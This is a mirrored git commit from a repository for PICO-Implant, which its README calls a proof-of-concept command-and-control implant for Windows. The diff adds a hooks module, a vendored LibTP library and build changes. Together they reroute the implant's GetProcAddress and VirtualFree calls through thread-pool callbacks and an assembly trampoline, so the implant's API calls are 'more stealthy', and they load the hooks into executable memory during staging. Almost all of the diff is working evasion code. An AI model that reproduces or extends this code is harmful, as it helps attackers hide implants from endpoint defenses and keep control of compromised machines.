mirror of
https://github.com/pard0p/PICO-Implant
synced 2026-06-06 16:34:28 +00:00
Implemented LibTP integration for stealthier API calls from the implant.
This commit is contained in:
+2
-1
@@ -54,4 +54,5 @@ dkms.conf
|
||||
# debug information files
|
||||
*.dwo
|
||||
|
||||
*.zip
|
||||
*.zip
|
||||
.vscode/
|
||||
@@ -13,6 +13,7 @@ bin/stage1.x86.o: bin
|
||||
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/guardrail.c -o bin/guardrail.x86.o
|
||||
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/stage1.c -o bin/stage1.x86.o
|
||||
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/stage2.c -o bin/stage2.x86.o
|
||||
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x86.o
|
||||
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/entry.c -o bin/entry.x86.o
|
||||
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/transport.c -o bin/transport.x86.o
|
||||
$(CC) -DWIN_X86 -shared -masm=intel -Wall -Wno-pointer-arith -c src/obfuscation.c -o bin/obfuscation.x86.o
|
||||
@@ -24,6 +25,7 @@ bin/stage1.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/guardrail.c -o bin/guardrail.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/stage1.c -o bin/stage1.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/stage2.c -o bin/stage2.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/entry.c -o bin/entry.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/transport.c -o bin/transport.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/obfuscation.c -o bin/obfuscation.x64.o
|
||||
|
||||
@@ -10,6 +10,7 @@ PICO-Implant is a Proof of Concept C2 implant built using Position-independent C
|
||||
- **Position Independent Code**: All modules built as PICOs for maximum flexibility.
|
||||
- **Modular Design**: Separate modules for communication, entry point and obfuscation.
|
||||
- **Remote Loading**: Stage 2 remotely loads core implant code.
|
||||
- **LibTP Integration**: Hook calls from the implant itself to make API calls more stealthy.
|
||||
|
||||
## Architecture Overview
|
||||
|
||||
@@ -76,7 +77,14 @@ Implements sleep obfuscation capabilities using the **Ekko** technique.
|
||||
|
||||
## Future Enhancements
|
||||
|
||||
### Planned Features
|
||||
- **PICO Management Library**: Development of a shared library for managing PICOs loaded in memory, providing better control and coordination of loaded modules.
|
||||
|
||||
- **LibTP Integration**: Hook NTDLL calls from the implant itself to make API calls more stealthy by using LibTP for indirect system calls.
|
||||
- **PICO Management Library**: Development of a shared library for managing PICOs loaded in memory, providing better control and coordination of loaded modules.
|
||||
# References
|
||||
|
||||
- https://github.com/rasta-mouse/LibTP
|
||||
- https://github.com/pard0p/LibWinHttp
|
||||
|
||||
- https://tradecraftgarden.org/simplehook.html
|
||||
- https://tradecraftgarden.org/simpleguard.html
|
||||
|
||||
- https://github.com/Cracked5pider/Ekko
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Rasta Mouse
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,14 @@
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
|
||||
all: libtp.x64.zip
|
||||
|
||||
bin:
|
||||
mkdir bin
|
||||
|
||||
libtp.x64.zip: bin
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -fno-ident -c src/tp.c -o bin/tp.x64.o
|
||||
zip -q -j libtp.x64.zip bin/*.x64.o
|
||||
|
||||
clean:
|
||||
rm -rf bin/*.o
|
||||
rm -f libtp.x64.zip
|
||||
@@ -0,0 +1,67 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include "tp.h"
|
||||
|
||||
WINBASEAPI VOID NTAPI NTDLL$TpAllocWork (PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
|
||||
WINBASEAPI VOID NTAPI NTDLL$TpPostWork (PTP_WORK);
|
||||
WINBASEAPI VOID NTAPI NTDLL$TpWaitForWork (PTP_WORK, BOOL);
|
||||
WINBASEAPI VOID NTAPI NTDLL$TpReleaseWork (PTP_WORK);
|
||||
|
||||
void __attribute__((naked)) WorkCallback()
|
||||
{
|
||||
__asm__ __volatile__ (
|
||||
".intel_syntax noprefix;"
|
||||
"mov rbx, rdx;"
|
||||
|
||||
"mov rax, [rbx];"
|
||||
"mov rcx, [rbx + 0x8];"
|
||||
"mov rdx, [rbx + 0x10];"
|
||||
"mov r8, [rbx + 0x18];"
|
||||
"mov r9, [rbx + 0x20];"
|
||||
|
||||
"mov r10, [rbx + 0x30];"
|
||||
"mov [rsp + 0x30], r10;"
|
||||
|
||||
"mov r10, [rbx + 0x28];"
|
||||
"mov [rsp + 0x28], r10;"
|
||||
|
||||
"jmp rax;"
|
||||
".att_syntax prefix;"
|
||||
);
|
||||
}
|
||||
|
||||
VOID ProxyNtApi(NTARGS * args)
|
||||
{
|
||||
PTP_WORK WorkReturn = NULL;
|
||||
|
||||
NTDLL$TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)WorkCallback, args, NULL);
|
||||
NTDLL$TpPostWork(WorkReturn);
|
||||
NTDLL$TpWaitForWork(WorkReturn, FALSE);
|
||||
NTDLL$TpReleaseWork(WorkReturn);
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct {
|
||||
ULONG_PTR functionPtr;
|
||||
ULONG_PTR argument1;
|
||||
ULONG_PTR argument2;
|
||||
ULONG_PTR argument3;
|
||||
ULONG_PTR argument4;
|
||||
ULONG_PTR argument5;
|
||||
ULONG_PTR argument6;
|
||||
} NTARGS;
|
||||
|
||||
VOID ProxyNtApi(NTARGS * args);
|
||||
+2
-1
@@ -2,13 +2,14 @@
|
||||
|
||||
WINBASEAPI DECLSPEC_NORETURN VOID WINAPI KERNEL32$ExitThread (DWORD dwExitCode);
|
||||
WINBASEAPI BOOL WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
WINUSERAPI int WINAPI USER32$MessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType);
|
||||
|
||||
typedef char * (*TRANSPORT_MODULE) (char * path);
|
||||
typedef void (*OBFUSCATION_MODULE) (char * start_addr, int size, int time);
|
||||
|
||||
void go(char * stage2ptr, char * implantBase, int implantSize, char * transportModule, char * obfuscationModule) {
|
||||
/* let's free our Stage 2 too */
|
||||
KERNEL32$VirtualFree(stage2ptr, 0, MEM_RELEASE);
|
||||
KERNEL32$VirtualFree(stage2ptr, 0, MEM_RELEASE); /* This is a hooked function */
|
||||
|
||||
while(1) {
|
||||
((TRANSPORT_MODULE) transportModule) ("/healthcheck");
|
||||
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
#include <windows.h>
|
||||
#include "includes/tp.h"
|
||||
|
||||
#define WIN32_FUNC( x ) __typeof__( x ) * x
|
||||
|
||||
typedef struct {
|
||||
WIN32_FUNC(LoadLibraryA);
|
||||
WIN32_FUNC(GetProcAddress);
|
||||
WIN32_FUNC(VirtualAlloc);
|
||||
WIN32_FUNC(VirtualFree);
|
||||
} WIN32FUNCS;
|
||||
|
||||
WINBASEAPI BOOL WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
|
||||
/*
|
||||
* This is an example of a hooked function that proxies through to the real API via our TP layer.
|
||||
*/
|
||||
int WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) {
|
||||
NTARGS args = {0};
|
||||
|
||||
args.functionPtr = (ULONG_PTR)KERNEL32$VirtualFree;
|
||||
args.argument1 = (ULONG_PTR)lpAddress;
|
||||
args.argument2 = (ULONG_PTR)dwSize;
|
||||
args.argument3 = (ULONG_PTR)dwFreeType;
|
||||
|
||||
ProxyNtApi(&args);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
|
||||
char * result = (char *)GetProcAddress(hModule, lpProcName);
|
||||
|
||||
if ((char *)GetProcAddress == result) {
|
||||
return (char *)_GetProcAddress;
|
||||
}
|
||||
|
||||
else if ((char *)KERNEL32$VirtualFree == result) {
|
||||
return (char *)_VirtualFree;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void go(WIN32FUNCS * funcs) {
|
||||
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct {
|
||||
ULONG_PTR functionPtr;
|
||||
ULONG_PTR argument1;
|
||||
ULONG_PTR argument2;
|
||||
ULONG_PTR argument3;
|
||||
ULONG_PTR argument4;
|
||||
ULONG_PTR argument5;
|
||||
ULONG_PTR argument6;
|
||||
} NTARGS;
|
||||
|
||||
VOID ProxyNtApi(NTARGS * args);
|
||||
+15
-1
@@ -2,11 +2,16 @@
|
||||
#include "includes/tcg.h"
|
||||
|
||||
char __TRANSPORTMODULE__[0] __attribute__((section("transport_module")));
|
||||
char __HOOKSMODULE__[0] __attribute__((section("hooks_module")));
|
||||
|
||||
char * findTransportModule() {
|
||||
return (char *)&__TRANSPORTMODULE__;
|
||||
}
|
||||
|
||||
char * findHooksModule() {
|
||||
return (char *)&__HOOKSMODULE__;
|
||||
}
|
||||
|
||||
#define WIN32_FUNC( x ) __typeof__( x ) * x
|
||||
|
||||
typedef struct {
|
||||
@@ -36,6 +41,7 @@ char * AllocateAndLoadPICO(WIN32FUNCS * funcs, char * srcPico, char * dstCode) {
|
||||
return (char *)PicoEntryPoint(srcPico, dstCode);
|
||||
}
|
||||
|
||||
typedef void (*HOOK_MODULE) (WIN32FUNCS * funcs);
|
||||
typedef char * (*TRANSPORT_MODULE) (char * path);
|
||||
typedef void (*IMPLANT_ENTRY) (char * stage2ptr, char * implantBase, int implantSize, char * transportModule, char * obfuscationModule);
|
||||
|
||||
@@ -60,10 +66,12 @@ void go(char * stage1ptr) {
|
||||
VirtualFree(dstTransportCode, 0, MEM_RELEASE);
|
||||
|
||||
int totalSize = 100; /* padding */
|
||||
int hooksModuleSize = PicoCodeSize(findHooksModule());
|
||||
int implantEntrySize = PicoCodeSize(entryPICO);
|
||||
int transportModuleSize = PicoCodeSize(findTransportModule());
|
||||
int obfuscationModuleSize = PicoCodeSize(obfuscationPICO);
|
||||
|
||||
totalSize += hooksModuleSize;
|
||||
totalSize += implantEntrySize;
|
||||
totalSize += transportModuleSize;
|
||||
totalSize += obfuscationModuleSize;
|
||||
@@ -71,7 +79,13 @@ void go(char * stage1ptr) {
|
||||
char * dstCode = VirtualAlloc( NULL, totalSize, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE );
|
||||
char * originalDstCode = dstCode; /* save original dstCode pointer */
|
||||
|
||||
char * implantEntry = AllocateAndLoadPICO(&funcs, entryPICO, dstCode);
|
||||
char * hooksModule = AllocateAndLoadPICO(&funcs, findHooksModule(), dstCode);
|
||||
dstCode += hooksModuleSize + 10; /* small padding */
|
||||
|
||||
/* Setup the hooks by the _GetProcAddress function */
|
||||
((HOOK_MODULE) hooksModule) (&funcs);
|
||||
|
||||
char * implantEntry = AllocateAndLoadPICO(&funcs, entryPICO, dstCode);
|
||||
dstCode += implantEntrySize + 10; /* small padding */
|
||||
|
||||
transportModule = AllocateAndLoadPICO(&funcs, findTransportModule(), dstCode);
|
||||
|
||||
+12
@@ -21,6 +21,12 @@ x86:
|
||||
export
|
||||
link "transport_module"
|
||||
|
||||
load "bin/hooks.x86.o"
|
||||
make object
|
||||
mergelib "lib/LibTP/libtp.x86.zip"
|
||||
export
|
||||
link "hooks_module"
|
||||
|
||||
# export our COFF as a ready-to-load PICO and return to stage 1
|
||||
export
|
||||
|
||||
@@ -37,4 +43,10 @@ x64:
|
||||
export
|
||||
link "transport_module"
|
||||
|
||||
load "bin/hooks.x64.o"
|
||||
make object
|
||||
mergelib "lib/LibTP/libtp.x64.zip"
|
||||
export
|
||||
link "hooks_module"
|
||||
|
||||
export
|
||||
Reference in New Issue
Block a user